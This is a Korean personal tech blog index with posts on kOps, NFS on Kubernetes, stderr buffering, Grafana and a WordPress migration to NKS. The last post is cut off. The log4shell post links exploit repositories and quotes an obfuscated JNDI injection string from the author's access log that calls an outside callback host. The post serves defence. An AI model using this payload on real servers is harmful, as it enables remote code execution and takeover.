이번에 스터디에 참가하게 되었다. 가시다님의 PKOS! 스터디할시에 사용하는 책은 24단계 실습으로 정복하는 쿠버네티스 이다. kOps를 프로비저닝하는데 오타가 발생해서 심심해서 스크립트를 만들었다. 그덕에 한번 다시 만들었다. #!/bin/bash echo "클러스터명-도메인을 입력해주세요 : " read KOPS_CLUSTER_NAME echo "버킷명을 입력해 주세요 s3:// 는 입력하지 않아도 됩니다. : " read KOPS_STATE_STORE # Access Key를 입력 받음 read -p "엑세스키를 입력해주세요 : " ACCESS_KEY # Secret Access Key를 입력 받음 read -p "시크릿키를 입력해주세요 : " SECRET_KEY # AWS 계정 구성 aws configure set aws_access_key_id $ACCESS_KEY aws configure set aws_secret_access_key $SECRET_KEY echo 'export AWS_PAGER=""' >>~/.bashrc echo "export REGION=ap-northeast-2" >>~/.bashrc echo "export KOPS_CLUSTER_NAME=$KOPS_CLUSTER_NAME" >>~/.bashrc echo "export KOPS_STATE_STORE=s3://$KOPS_STATE_STORE" >>~/.bashrc kops create cluster --zones="$REGION"a,"$REGION"c --networking amazonvpc --cloud aws \\ --master-size t3.medium --node-size t3.medium --node-count=2 --network-cidr 172.30.0.0/16 \\ --ssh-public-key ~/.ssh/id_rsa.pub --name=$KOPS_CLUSTER_NAME --kubernetes-version "1.24.10" --dry-run -o yaml > mykops.yaml kops create cluster --zones="$REGION"a,"$REGION"c --networking amazonvpc --cloud aws \\ --master-size t3.medium --node-size t3.medium --node-count=2 --network-cidr 172.30.0.0/16 \\ --ssh-public-key ~/.ssh/id_rsa.pub --name=$KOPS_CLUSTER_NAME --kubernetes-version "1.24.10" -y source <(kubectl completion bash) echo 'source <(kubectl completion bash)' >> ~/.bashrc echo 'alias k=kubectl' >> ~/.bashrc echo 'complete -F __start_kubectl k' >> ~/.bashrc ```bash read 명령어를 이용하여 스크립트에 변수를 부여하고 입력받은 변수를 이용하여 aws configure 를 설정하고, kops 명령어로 k8s 클러스터를 프로비저닝한다. 이거다음에는 사실 initscript 에 내가원하는 값을 넣는게 제일 편하나 그건..좀 공개하기 애매하니 스크립트라도 공개한다.

March 6, 2023 · 1 min · 📁 Linux, Kubernetes · 🏷️ bash, kops, cli

DOIK-Study

가시다님과 함께하는 스터디는 항상 즐겁다. 이번 스터디엔 라이브로 못해서..일단 바닐라쿠버 배포하고 시작했다. Headless 서비스는 ClusterIP가 None으로 설정하며 kubeproxy를 통하지않고 pod의 endpoint가 svc에 연결된다. 나는 먼저 NFS 서버를 Headless 로 배포하기로 했다. kind: PersistentVolumeClaim apiVersion: v1 metadata: name: nfs-server-pvc spec: accessModes: - ReadWriteOnce resources: requests: storage: 10Gi --- kind: Service apiVersion: v1 metadata: name: nfs-service spec: type: ClusterIP clusterIP: None selector: role: nfs ports: # Open the ports required by the NFS server # Port 2049 for TCP - name: tcp-2049 port: 2049 protocol: TCP # Port 111 for UDP - name: udp-111 port: 111 protocol: UDP # Port 20048 for TCP - name: tcp-20048 port: 20048 protocol: TCP --- apiVersion: v1 kind: ReplicationController metadata: name: nfs-server spec: replicas: 1 selector: role: nfs-server template: metadata: labels: role: nfs-server spec: containers: - name: nfs-server image: gcr.io/google_containers/volume-nfs:0.8 ports: - name: nfs containerPort: 2049 - name: mountd containerPort: 20048 - name: rpcbind containerPort: 111 securityContext: privileged: true volumeMounts: - mountPath: /exports name: nfs-export volumes: - name: nfs-export-fast persistentVolumeClaim: claimName: nfs-server-pvc-fast ```bash ? yaml을 deploy 하면 다음과같다. 이제 프로비저너 셋팅이 좀 필요하다. 가시다님께서는 친절하게 프로비저너 셋팅도 다해주셨지만 나는 내가만든 NFS 서버를 사용할거기 때문에 프로비저너를 다시 배포할거다. ```bash #지우고 helm delete -n kube-system nfs-provisioner #다시 설치하고 helm install nfs-provisioner -n kube-system nfs-subdir-external-provisioner/nfs-subdir-external-provisioner --set nfs.server=nfs-service.default.svc.cluster.local --set nfs.path=/exports NAME: nfs-provisioner LAST DEPLOYED: Thu May 26 16:10:31 2022 NAMESPACE: kube-system STATUS: deployed REVISION: 1 TEST SUITE: None ```bash ? 응 잘됬다. ```bash (? |DOIK-Lab:default) root@k8s-m:~# k get svc NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE kubernetes ClusterIP 10.200.1.1 <none> 443/TCP 4h30m nfs-service ClusterIP None <none> 2049/TCP,111/UDP 6m29s (? |DOIK-Lab:default) root@k8s-m:~# k get ep NAME ENDPOINTS AGE kubernetes 192.168.10.10:6443 4h30m nfs-service 172.16.158.2:2049,172.16.158.2:111 6m48s (? |DOIK-Lab:default) root@k8s-m:~# k get pod -o wide NAME READY STATUS RESTARTS AGE IP NODE NOMINATED NODE READINESS GATES nfs-server-pod 1/1 Running 0 7m1s 172.16.158.2 k8s-w1 <none> <none> ```bash ? 정상적으로 NFS서버가 잘 배포된것을 확인할수 있다. ```bash apiVersion: v1 kind: PersistentVolume metadata: name: mysql-nfs-pv labels: type: mysql-nfs-pv spec: storageClassName: nfs-client capacity: storage: 4Gi accessModes: - ReadWriteOnce # ReadWriteOnce RWO (1:1 마운트, 읽기 쓰기) nfs: server: 172.16.184.9 # NFS-Server 의 IP path: /1 # NFS 저장소 --- apiVersion: v1 kind: PersistentVolume metadata: name: wp-nfs-pv labels: type: wp-nfs-pv spec: storageClassName: nfs-client capacity: storage: 4Gi accessModes: - ReadWriteOnce nfs: server: 172.16.184.9 # NFS-Server 의 IP path: /2 # NFS 저장소 ```bash ? nfs-service.svc.cluster.local domain을 이용하려 하였으나, PV 에서 domain으로 설정시 nfs-provisioner 정상적으로 마운트 되지 않았다. **headless NFS를 하려고 한것이나, 실패하였다. 지원하지 않는다.(결론)** ![](/images/2022/05/image-32-1024x64.png) 다음과 같은 증상이었다. IP로 프로비저너 설치후엔 잘되었다. ```bash --- apiVersion: v1 kind: PersistentVolumeClaim metadata: labels: app: wordpress name: mysql-pv-claim spec: storageClassName: nfs-client accessModes: - ReadWriteOnce resources: requests: storage: 4Gi selector: matchLabels: type: "mysql-nfs-pv" --- apiVersion: v1 kind: PersistentVolumeClaim metadata: labels: app: wordpress name: wp-pv-claim spec: storageClassName: nfs-client accessModes: - ReadWriteOnce resources: requests: storage: 4Gi selector: matchLabels: type: "wp-nfs-pv" ```bash ? selector를 이용하여 PV를 사용하도록 설정해 주었다 ```bash Every 2.0s: kubectl get svc,pods,pv,pvc -o wide k8s-m: Thu May 26 18:10:41 2022 NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE SELECTOR service/kubernetes ClusterIP 10.200.1.1 <none> 443/TCP 7h56m <none> service/nfs-service ClusterIP None <none> 2049/TCP,111/UDP,20048/TCP 71m role=nfs service/wordpress NodePort 10.200.1.33 <none> 80:30387/TCP 3m25s app=wordpress,tier=frontend service/wordpress-mysql ClusterIP None <none> 3306/TCP 3m25s app=wordpress,tier=mysql NAME READY STATUS RESTARTS AGE IP NODE NOMINATED NODE READINESS GATES pod/nfs-server-rxvf7 1/1 Running 0 71m 172.16.184.9 k8s-w2 <none> <none> pod/wordpress-859f989bbb-msppd 1/1 Running 0 3m25s 172.16.158.21 k8s-w1 <none> <none> pod/wordpress-mysql-66fb7cfb68-z9vj5 1/1 Running 0 3m25s 172.16.158.20 k8s-w1 <none> <none> NAME CAPACITY ACCESS MODES RECLAIM POLICY STATUS CLAIM STORAGECLASS REASON AGE VOLUMEMODE persistentvolume/mysql-nfs-pv 4Gi RWO Retain Bound default/mysql-pv-claim nfs-client 3m32s Filesystem persistentvolume/pvc-adc24c97-ca67-4700-b3c5-2fc51c4cce01 10Gi RWO Delete Bound default/nfs-server-pvc-fast local-path 71m Filesystem persistentvolume/wp-nfs-pv 4Gi RWO Retain Bound default/wp-pv-claim nfs-client 3m32s Filesystem NAME STATUS VOLUME CAPACITY ACCESS MODES STORAGECLASS AGE VOLUMEMODE persistentvolumeclaim/mysql-pv-claim Bound mysql-nfs-pv 4Gi RWO nfs-client 3m25s Filesystem persistentvolumeclaim/nfs-server-pvc-fast Bound pvc-adc24c97-ca67-4700-b3c5-2fc51c4cce01 10Gi RWO local-path 71m Filesystem persistentvolumeclaim/wp-pv-claim Bound wp-nfs-pv 4Gi RWO nfs-client 3m25s Filesystem ```bash ? 서비스가 잘 작동하는것을 확인하였다. ```bash (? |DOIK-Lab:default) root@k8s-m:~/yaml/yaml# k exec nfs-server-rxvf7 -it -- /bin/bash [root@nfs-server-rxvf7 /]# cd /exports/ [root@nfs-server-rxvf7 exports]# ll total 32 drwxr-xr-x 5 systemd-bus-proxy root 4096 May 26 09:07 1 drwxr-xr-x 5 33 33 4096 May 26 09:07 2 -rw-r--r-- 1 root root 16 May 26 07:59 index.html [root@nfs-server-rxvf7 exports]# cd 1 [root@nfs-server-rxvf7 1]# ll total 110608 -rw-rw---- 1 systemd-bus-proxy input 56 May 26 09:07 auto.cnf -rw-rw---- 1 systemd-bus-proxy input 50331648 May 26 09:07 ib_logfile0 -rw-rw---- 1 systemd-bus-proxy input 50331648 May 26 09:07 ib_logfile1 -rw-rw---- 1 systemd-bus-proxy input 12582912 May 26 09:07 ibdata1 drwx------ 2 systemd-bus-proxy input 4096 May 26 09:07 mysql drwx------ 2 systemd-bus-proxy input 4096 May 26 09:07 performance_schema drwx------ 2 systemd-bus-proxy input 4096 May 26 09:07 wordpress [root@nfs-server-rxvf7 1]# cd .. [root@nfs-server-rxvf7 exports]# cd 2 [root@nfs-server-rxvf7 2]# ll total 192 -rw-r--r-- 1 33 33 418 Sep 25 2013 index.php -rw-r--r-- 1 33 33 19935 Jan 2 2017 license.txt -rw-r--r-- 1 33 33 7413 Dec 12 2016 readme.html -rw-r--r-- 1 33 33 5447 Sep 27 2016 wp-activate.php drwxr-xr-x 9 33 33 4096 Oct 31 2017 wp-admin -rw-r--r-- 1 33 33 364 Dec 19 2015 wp-blog-header.php -rw-r--r-- 1 33 33 1627 Aug 29 2016 wp-comments-post.php -rw-r--r-- 1 33 33 2764 May 26 09:07 wp-config-sample.php -rw-r--r-- 1 33 33 3154 May 26 09:07 wp-config.php drwxr-xr-x 4 33 33 4096 Oct 31 2017 wp-content -rw-r--r-- 1 33 33 3286 May 24 2015 wp-cron.php drwxr-xr-x 18 33 33 12288 Oct 31 2017 wp-includes -rw-r--r-- 1 33 33 2422 Nov 21 2016 wp-links-opml.php -rw-r--r-- 1 33 33 3301 Oct 25 2016 wp-load.php -rw-r--r-- 1 33 33 34327 May 12 2017 wp-login.php -rw-r--r-- 1 33 33 8048 Jan 11 2017 wp-mail.php -rw-r--r-- 1 33 33 16200 Apr 6 2017 wp-settings.php -rw-r--r-- 1 33 33 29924 Jan 24 2017 wp-signup.php -rw-r--r-- 1 33 33 4513 Oct 14 2016 wp-trackback.php -rw-r--r-- 1 33 33 3065 Aug 31 2016 xmlrpc.php ```bash ? 목적이었던 NFS도 정상적으로 작동한다. ```bash (? |DOIK-Lab:default) root@k8s-m:~/yaml# k scale deployment wordpress --replicas=3 (? |DOIK-Lab:default) root@k8s-m:~/yaml# k get pod NAME READY STATUS RESTARTS AGE nfs-server-rxvf7 1/1 Running 0 77m wordpress-859f989bbb-8r5zh 1/1 Running 0 47s wordpress-859f989bbb-msppd 1/1 Running 0 8m38s wordpress-859f989bbb-xhbs9 1/1 Running 0 47s wordpress-mysql-66fb7cfb68-z9vj5 1/1 Running 0 8m38s (? |DOIK-Lab:default) root@k8s-m:~/yaml# k get pv NAME CAPACITY ACCESS MODES RECLAIM POLICY STATUS CLAIM STORAGECLASS REASON AGE mysql-nfs-pv 4Gi RWO Retain Bound default/mysql-pv-claim nfs-client 9m6s pvc-adc24c97-ca67-4700-b3c5-2fc51c4cce01 10Gi RWO Delete Bound default/nfs-server-pvc-fast local-path 77m wp-nfs-pv 4Gi RWO Retain Bound default/wp-pv-claim nfs-client 9m6s (? |DOIK-Lab:default) root@k8s-m:~/yaml# k get pvc NAME STATUS VOLUME CAPACITY ACCESS MODES STORAGECLASS AGE mysql-pv-claim Bound mysql-nfs-pv 4Gi RWO nfs-client 9m2s nfs-server-pvc-fast Bound pvc-adc24c97-ca67-4700-b3c5-2fc51c4cce01 10Gi RWO local-path 77m wp-pv-claim Bound wp-nfs-pv 4Gi RWO nfs-client 9m2s ```bash ? 볼륨도 잘공유하여 프로비저닝 된것을 확인할수 있다. ㅜㅜ

May 26, 2022 · 6 min · 📁 AWS, Linux, Kubernetes

Linux-stdin-stdout-stderr-2

stderr 는 버퍼를 사용하지 않지만 그것과 별개로 그대로 출력하기 때문에 grep 이 되지 않는것입니다. https://www.facebook.com/groups/korelnxuser/permalink/2060620130779393/ 소용환님께서 답변해주셔서 알 수 있었습니다. 그래서 테스트를 진행하였습니다. stdbuf 명령어를 이용하여 buffer 를 제거하고 grep 해보았습니다. stdbuf -o0 는 stdout 를 unbuffered 로 출력하는 명력어 입니다. # cat test.txt 1 2 3 4 5 6 # stdbuf -o0 cat test.txt | grep 2 2 ```bash . 그런데 문득 버퍼사이즈가 0인것과 버퍼가 아주없는 unbuffered 는 차이가 있다는것을 알게되었습니다. 그래서 stderr 에 buffer 를 주었습니다. ```bash # cat test.txt 1>&2 | stdbuf -eL grep 2 1 2 3 4 5 6 # stdbuf -eL cat test.txt 1>&2 | grep 2 1 2 3 4 5 6 ```bash . grep 이 되지 않는것을 확인할수 있었습니다. 이 테스트를 결과로 stderr가 grep 되지 않는것은 buffer의 사용유무와 상관없이 그대로 출력하기 때문임을 알게되었습니다. ![](/images/2022/02/pipe_stdio_example.png) https://www.pixelbeat.org/programming/stdio_buffering/ 이해를 돕기위해 pixelbeat.org 의 이미지를 첨부합니다.

February 28, 2022 · 1 min · 📁 Linux

Linux-stdin-stdout-stderr-1

잘못된 정보를 공유하였습니다. 그부분을 수정하고자 게시물을 다시 올립니다. 바로잡은 내용은 아래의 글입니다. https://linuxer.name/2022/02/linux-stdin-stdout-stderr-2/ 리눅스에서 stderr 으로 받는 문자열은 grep이 되지 않는다. 이유는 stderr는 Unbufferd 로 출력만 하기때문이다. # httpd -T | grep http AH00558: httpd: Could not reliably determine the server's fully qualified domain name, using 10.0.10.6. Set the 'ServerName' directive globally to suppress this message (98)Address already in use: AH00072: make_sock: could not bind to address 0.0.0.0:80 no listening sockets available, shutting down AH00015: Unable to open logs ```bash . 위의 경우가 그 예이다. 우리가 사용하는 grep, awk 같은 명령어는 buffer를 이용한다. 그런데 stderr는 buffer 를 거치지 않고 출력하기때문에 grep 나 awk를 사용할수 없는 것이다. 이것을 이해하기 위해선 Buffering을 이해해야 한다. 이런 경우 우리는 2>&1 같은 리디렉션을 이용하여 처리를 한다. 2(stderr)>(리디렉션)&(실행한 다음)1(stdout) 이것은 표준에러를 표준출력으로 변경해준다는 의미로 받아들이면 접근이 굉장히 어렵다. 더 풀어써보겠다. stderr 는 unbuffer 고 이것을 pipe buffer 를 거쳐 stdin 으로 들어가 grep 은 버퍼내의 데이터를 읽어들여서 stdout로 출력하게 되는것이다. 그냥 버퍼까지 올리지 않던 데이터를 리디렉션으로 버퍼에 넣어준다고 생각하자. ```bash # httpd -T 2>&1 | grep http AH00558: httpd: Could not reliably determine the server's fully qualified domain name, using 10.0.10.6. Set the 'ServerName' directive globally to suppress this message ```bash . 다음과 같이 grep 가 동작한다. grep 는 버퍼를 사용하는 명령어다. 버퍼를 사용하지 않는 출력(stderr)은 grep 할수없다. 버퍼를 사용하는 출력(stdout)는 grep 할수있다.

February 26, 2022 · 2 min · 📁 Linux · 🏷️ grep, linux, buffer

Mysql-Rows-count

information_schema 스키마는 랜덤샘플링으로 인하여 값의 오차가 생길수 있으므로 정확하지 않음 검증방법 ANALYZE TABLE 테이블명;SELECT table_name, table_rows, round(data_length/(1024*1024),2) as ‘DATA_SIZE(MB)’, round(index_length/(1024*1024),2) as ‘INDEX_SIZE(MB)’ FROM information_schema.TABLES WHERE table_schema = ‘데이터베이스명’ GROUP BY table_name ORDER BY data_length DESC LIMIT 10; ANALYZE 를 진행하며 테이블 확인 - information_schema.TABLES 이 계속 변경되는것이 확인됨 따라서 row count 로 만 검증가능 SELECT COUNT(*)FROM 테이블명; 대표적으로 자주사용하는 테이블을 카운트하여 비교하는것이 제일 정확

January 20, 2022 · 1 min · 📁 Linux

log4shell - url 정리

총평: log4shell 취약점이 있으면 해커가 서버에서 뭐든할수있게 되어서 랜섬부터 멀웨어까지 다양하고 참신한 공격이 가능 1 . “log4j2.formatMsgNoLookups"를 “true"로 설정 Log4j 2.15.0(https://logging.apache.org/log4j/2.x/download.html) 버전으로 업데이트 https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=36389 대응방법 KISA https://www.fastly.com/blog/digging-deeper-into-log4shell-0day-rce-exploit-found-in-log4j 패스틀리 링크 https://blog.cloudflare.com/cve-2021-44228-log4j-rce-0-day-mitigation/ 클라우드플레어링크 https://www.pcmag.com/news/countless-serves-are-vulnerable-to-apache-log4j-zero-day-exploit 취약점 테스트방법 https://github.com/mwarnerblu/Log4ShellScanner Log4shell Scanner https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce 취약점 점검 expolit https://www.lunasec.io/docs/blog/log4j-zero-day/ curl 테스트방법 https://gist.github.com/nathanqthai/01808c569903f41a52e7e7b575caa890 로깅패턴 https://www.picussecurity.com/resource/blog/simulating-and-preventing-cve-2021-44228-apache-log4j-rce-exploits 로그에서 확인방법 https://github.com/YfryTchsGD/Log4jAttackSurface 대상제품리스트 https://aws.amazon.com/ko/security/security-bulletins/AWS-2021-005/?fbclid=IwAR1j7GAuBIbuh7HrlQJO-HTTKFjac7YYxvSWVh950CWiav2vO6AzSTI-S_0 AWS의 대응 WAF에 Managed rule이 추가 https://github.com/YfryTchsGD/Log4jAttackSurface 공격받은곳 리스트 https://github.com/christophetd/log4shell-vulnerable-app 동작샘플 블로그에 남은 공격로그 127.0.0.6 - - [12/Dec/2021:04:29:32 +0000] “GET /favicon.ico HTTP/1.1” 302 5 “-” “${jndi:${lower:l}${lower:d}a${lower:p}://world80.log4j.bin${upper:a}ryedge.io:80/callback}” “68.183.198.247” ...

December 11, 2021 · 1 min · 📁 Linux

EKS-prometheus-grafana

https://docs.aws.amazon.com/ko_kr/eks/latest/userguide/prometheus.html 먼저 프로메테우스를 설치한다. cat << EOF | k apply -f - --- apiVersion: v1 kind: PersistentVolumeClaim metadata: name: grafana-pvc spec: accessModes: - ReadWriteOnce resources: requests: storage: 1Gi --- apiVersion: apps/v1 kind: Deployment metadata: labels: app: grafana name: grafana spec: selector: matchLabels: app: grafana template: metadata: labels: app: grafana spec: securityContext: fsGroup: 472 supplementalGroups: - 0 containers: - name: grafana image: grafana/grafana:7.5.2 imagePullPolicy: IfNotPresent ports: - containerPort: 3000 name: http-grafana protocol: TCP readinessProbe: failureThreshold: 3 httpGet: path: /robots.txt port: 3000 scheme: HTTP initialDelaySeconds: 10 periodSeconds: 30 successThreshold: 1 timeoutSeconds: 2 livenessProbe: failureThreshold: 3 initialDelaySeconds: 30 periodSeconds: 10 successThreshold: 1 tcpSocket: port: 3000 timeoutSeconds: 1 resources: requests: cpu: 250m memory: 750Mi volumeMounts: - mountPath: /var/lib/grafana name: grafana-pv volumes: - name: grafana-pv persistentVolumeClaim: claimName: grafana-pvc --- apiVersion: v1 kind: Service metadata: name: grafana spec: ports: - port: 3000 protocol: TCP targetPort: http-grafana selector: app: grafana sessionAffinity: None type: LoadBalancer EOF ```bash <https://grafana.com/docs/grafana/latest/installation/kubernetes/> 설치는 위링크를 참조하고 grafana svc type 만 LoadBalancer 로 변경한다. ```bash k get svc NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE grafana LoadBalancer 172.20.237.228 af7fa7486f6eb4ad4a6bde897210f4a9-206885623.ap-northeast-2.elb.amazonaws.com 3000:32317/TCP 32m ```bash 그라파나의 서비스가 다만들어지면 URL로 접근이 가능하다. ![](/images/2021/09/image-10-1024x967.png) 패스워드는 admin / admin 이다. 로그인후 할일은 data source 를 지정하는것이다. 우리는 prometheus 를 이용할것이다. ![](/images/2021/09/image-12-426x1024.png) ![](/images/2021/09/image-11-1024x310.png) 서비스이름/네임스페이스/svc:port 로 지정한다. save & test 눌러서 잘되는지 확인하자. 그리고 dashboard를 import 하자. ![](/images/2021/09/image-13.png) <https://grafana.com/grafana/dashboards/11074> 많은 사람이 애용하는 dashboard를 사용할것이다. import 는 ID로 넣으면된다 이경우엔 11074 를 입력하자 ![](/images/2021/09/image-14-1024x923.png) VictoriaMetrics 를 프로메테우스로 지정하자. 그리고 Import 하면 대시보드가 뜬다. ![](/images/2021/09/image-15-1024x661.png) 대략 이런 대시보드가 자동으로 수집된다. ![](/images/2021/09/image-16-1024x515.png) https://grafana.com/grafana/dashboards/13770 그라파나는 사람들이 만들어놓은 대시보드를 이용하기 쉽다. 그리고 node-exporter 로 만들어내는 매트릭리스트를 파악하여 원하는 지표를 사용할수 있다. <https://prometheus.io/docs/guides/node-exporter/> 위URL을 참고해서 매트릭을 확인하여 보자. 예를 들어서 Dropped packet를 확인하려 한다면 다음 매트릭을 확인할수 있다. ![](/images/2021/09/image-17-1024x579.png) 읽어주셔서 감사하다! 올해의 가시다님 과의 스터디가 마무리되었다. 같이 EKS 스터디에 참여해주신분들께 감사를 드리며, 평안한 하루되시라!

September 18, 2021 · 2 min · 📁 AWS, Linux, Kubernetes · 🏷️ prometheus, grafana, EKS

NKS-Linuxer-Blog-Rebuilding

블로그를 새로 만들기로 했다. https://linuxer.name/2020/02/aws-linuxer의-블로그-톺아보기 2020년 2월에 완성된 블로그의 구조이니..이걸 우려먹은지도 벌써 1년이 훌쩍넘어다는 이야기다. 블로그를 좀더 가볍고 편한구조로 변경하려고 고민했으나..나는 실패했다.ㅠㅠ 능력이나 뭐 그런 이야기가 아니라..게으름에 진거다. 게으름에 이기기 위해서 글을 시작했다. 목적은 K8S 에 새로 만들기고, K8S의 특성을 가져가고 싶었다. 제일먼저 작업한것은 Wordpess 의 근간이 되는 PHP 다. PHP는 도커파일을 먼저 작성했다. FROM php:7.4-fpm RUN apt-get update \\ && apt-get install -y --no-install-recommends \\ libpng-dev \\ libzip-dev \\ libicu-dev \\ libzip4 \\ && pecl install xdebug \\ && docker-php-ext-install opcache \\ && docker-php-ext-enable xdebug \\ && docker-php-ext-install pdo_mysql \\ && docker-php-ext-install exif \\ && docker-php-ext-install zip \\ && docker-php-ext-install gd \\ && docker-php-ext-install intl \\ && docker-php-ext-install mysqli # Clear cache RUN apt-get clean && rm -rf /var/lib/apt/lists/* WORKDIR /srv/app RUN cp /usr/local/etc/php/php.ini-production /usr/local/etc/php/php.ini RUN echo "date.timezone=Asia/Seoul" >> /usr/local/etc/php/php.ini RUN sed -i --follow-symlinks 's|127.0.0.1:9000|/run/php-fpm.sock|g' /usr/local/etc/php-fpm.d/www.conf RUN sed -i --follow-symlinks 's|short_open_tag = Off|short_open_tag = On|g' /usr/local/etc/php/php.ini RUN sed -i --follow-symlinks 's|9000|/run/php-fpm.sock|g' /usr/local/etc/php-fpm.d/zz-docker.conf CMD ["php-fpm"] ```bash 몇가지 수정사항이 있었는데 먼저 tcp socket를 사용하지 않고, unix socket을 사용했다. 흔하게 file socket이라고도 하는데 nginx <-> php-fpm 의 socket 통신의 속도가 상승한다. nginx와 php-fpm이 같은 서버내에 있을때 사용할수 있는 방법이다. 또 zz-docker.conf 는 php 이미지에서 ext를 설치할때 docker 패키지를 사용하면설치되는데 이 conf파일안에 unix 소켓을 사용할수 없도록 만드는 설정이 있다. ```bash [global] daemonize = no [www] listen = 9000 ```bash 위설정이 바로 그 설정이다 listen = 9000 이 fix로 박히게 되는데 이걸 수정해주지 않으면 www.conf를 아무리 수정해도 unix socket을 사용할수 없다. 변경하고 빌드는 정상적으로 됬다. 빌드후 push는 NCP 의 [Container Registry](https://www.ncloud.com/product/compute/containerRegistry) 서비스를 이용했다. docker login 할때 sub account 의 access key 와 secret key를 생성해서 사용했다. ```bash docker build -t linuxer-cr/php-fpm:12 ./ docker push linuxer-cr/php-fpm:12 ```bash 12번에 걸쳐서 빌드 테스트를 진행했다. centos 이미지였다면 쉬웠을껀데ㅠㅠ그냥 있는 이미지 써본다고 고생했다. 빌드가 완료된 php-fpm을 deployment 로 배포했다. ```bash apiVersion: apps/v1 kind: Deployment metadata: name: php-fpm-nginx-deployment spec: selector: matchLabels: app: php-fpm-nginx template: metadata: labels: app: php-fpm-nginx spec: imagePullSecrets: - name: regcred containers: - name: php-fpm image: linuxer-rc/php-fpm:12 volumeMounts: - name: vol-sock mountPath: /run - name: www mountPath: /usr/share/nginx/html - name: nginx image: nginx:1.21 lifecycle: postStart: exec: command: ["/bin/sh", "-c", "chmod 777 /run/php-fpm.sock"] volumeMounts: - name: vol-sock mountPath: /run - name: nginx-config-volume mountPath: /etc/nginx/conf.d/default.conf subPath: default.conf - name: www mountPath: /usr/share/nginx/html volumes: - name: vol-sock emptyDir: medium: Memory - name: nginx-config-volume configMap: name: nginx-config - name: html emptyDir: {} - name: www persistentVolumeClaim: claimName: nfs-pvc ```bash 위의 manifest 는 완성된 버전이다. 특이한 부분을 말하자면 몇가지가 있는데, 첫번째로 nignx pod 와 php-fpm container의 unix socket 을 공유하는 부분이다. emptyDir: medium:Memory 로 지정하면 메모리를 emptydir 로 사용한다 원래 컨셉은 shm 을 hostpath로 이용하여 마운트해서 사용하려했는데 편리한 방법으로 지원해서 사용해봤다. 일반 디스크에 unix socket를 사용하는것보다 속도가 빠를것이라 예상한다 벤치를 돌려보기엔 너무 귀찮았다. 두번째로 lifecycle: postStart다. nginx 프로세스가 시작하면서 소켓을 생성하기에 권한부족으로 정상적으로 php-fpm과 통신이 되지 않았다. 그래서 lifecycle hook을 이용하여 컨테이너가 모두 생성된 이후에 cmd 를 실행하도록 설정하였다. 세번째로 여러개의 파드에서 같은 데이터를 써야하므로 고민을 했다. NFS-Server pod 를 생성하여 내부에서 NFS-Server를 이용한 데이터를 공유하느냐, 아니면 NAS서비스를 이용하여 NFS Client provisioner 를 이용할것인가. 고민은 금방 끝났다. 편한거 쓰자! [NAS](https://guide.ncloud-docs.com/docs/vnks-nks-nfsclientprovisioner)를 사용했다. ![](/images/2021/09/image-1-1024x295.png) NAS 서비스를 확인하고, ```bash #프로비저너 설치 helm --kubeconfig=$KUBE_CONFIG install storage stable/nfs-client-provisioner --set nfs.server=169.254.82.85 --set nfs.path=/n2638326_222222 #프로비저너 설치확인 k get pod storage-nfs-client-provisioner-5b88c7c55-dvtlj NAME READY STATUS RESTARTS AGE storage-nfs-client-provisioner-5b88c7c55-dvtlj 1/1 Running 0 33m #nfs-pvc 설치 cat << EOF | k apply -f - apiVersion: v1 kind: PersistentVolumeClaim metadata: name: nfs-pvc spec: accessModes: - ReadWriteOnce resources: requests: storage: 10Gi storageClassName: nfs-client EOF ```bash 볼륨까지 프로비저닝했다. 그리고 네번째 nginx-config 다 configmap 으로 만들어져서 /etc/nginx/conf.d/default.conf 경로에 subpath 로 파일로 마운트된다. ```bash cat << EOF | k apply -f - kind: ConfigMap apiVersion: v1 metadata: name: nginx-config data: default.conf: | server { root /usr/share/nginx/html; listen 80; server_name _; #access_log /var/log/nginx/host.access.log main; location / { index index.php; try_files \\$uri \\$uri/ /index.php?\\$args; } #error_page 404 /404.html; # redirect server error pages to the static page /50x.html # error_page 500 502 503 504 /50x.html; location = /50x.html { root /usr/share/nginx/html; } location ~ [^/]\\.php(/|$) { fastcgi_split_path_info ^(.+?\\.php)(/.*)$; fastcgi_pass unix:/run/php-fpm.sock; fastcgi_index index.php; include fastcgi_params; fastcgi_param REQUEST_METHOD \\$request_method; fastcgi_param SCRIPT_FILENAME \\$document_root\\$fastcgi_script_name; } } EOF ```bash 나는 대다수의 manifest를 shell 에서 그대로 적용해버리기때문에 $request_method 이런 변수가 있는 부분은 \\$request_method 역슬러시를 넣어서 평문 처리를해줬다. 이 nginx conf configmaps 에서 특이점은 try_files \\$uri \\$uri/ /index.php?\\$args; 부분이다. 이부분이 빠지면 wordpress 의 주소형식을 사용할수 없어 페이지 이동이 되지 않는다. 이제 이 모든과정이 php-fpm-nginx-deployment 를 정상적으로 동작하게 하기위한 과정이었다. 이제 데이터를 AWS 에 있는 EC2 에서 가져왔다. 그냥 귀찮아서 bastion host에서 rsync 로 sync 했다. ```bash #NFS mount mount -t nfs nasserverip/마운트정보 /mnt #pod 가 마운트된 pvc로 다이렉트로 sync rsync root@aws-ec2-ip:/wordpressdir /mnt/default-nfs-pvc-pvc-d04852d6-b138-40be-8fc3-150894a3daac ```bash 이렇게 하니 단순 expose 만으로도 1차적으로 사이트가 떴다. NPLB(Network Proxy Load Balancer) -> nginx-php-fpm POD -> AWS RDS 이런구성으로 돌고있었기에 DB를 옮겨왔다. ```bash #mysqldump mysqldump -h rdsendpoint -u linxuer -p linuxer_blog > linuxerblog.sql #sync rsync root@aws-ec2-ip:/linuxerblog.sql /home/ ```bash 테스트용도로 사용할 CDB ![](/images/2021/09/image-2-1024x89.png) ```bash mysql -h cdb-endpoint -u -p linuxer_blog < linuxerblog.sql ```bash 디비 복구후 wp-config 에서 define('DB_HOST') 를 CDB로 변경했다. 기나긴 트러블 슈팅의 기간이 끝나가고 있었다. 잘될줄 알았는데, 그건 저 혼자만의 생각이었습니다. 처음부터 SSL은 절대 처리하지 않을것이라 생각했건만...이렇게 된거 Let's encrypt로 간다! ```bash #certbot install yum install certbot certbot-plagin-route53 #route53이용한 인증 certbot certonly \\ --dns-route53 \\ -d linuxer.name \\ -d *.linuxer.name ```bash 인증서에 root ca 가 포함되어있지 않기 때문에 root ca를 서버의 번들 인증서에서 삽입해 줘야한다. ```bash openssl pkcs7 -inform der -in dstrootcax3.p7c -out dstrootcax3.pem -print_certs cp fullchain.pem 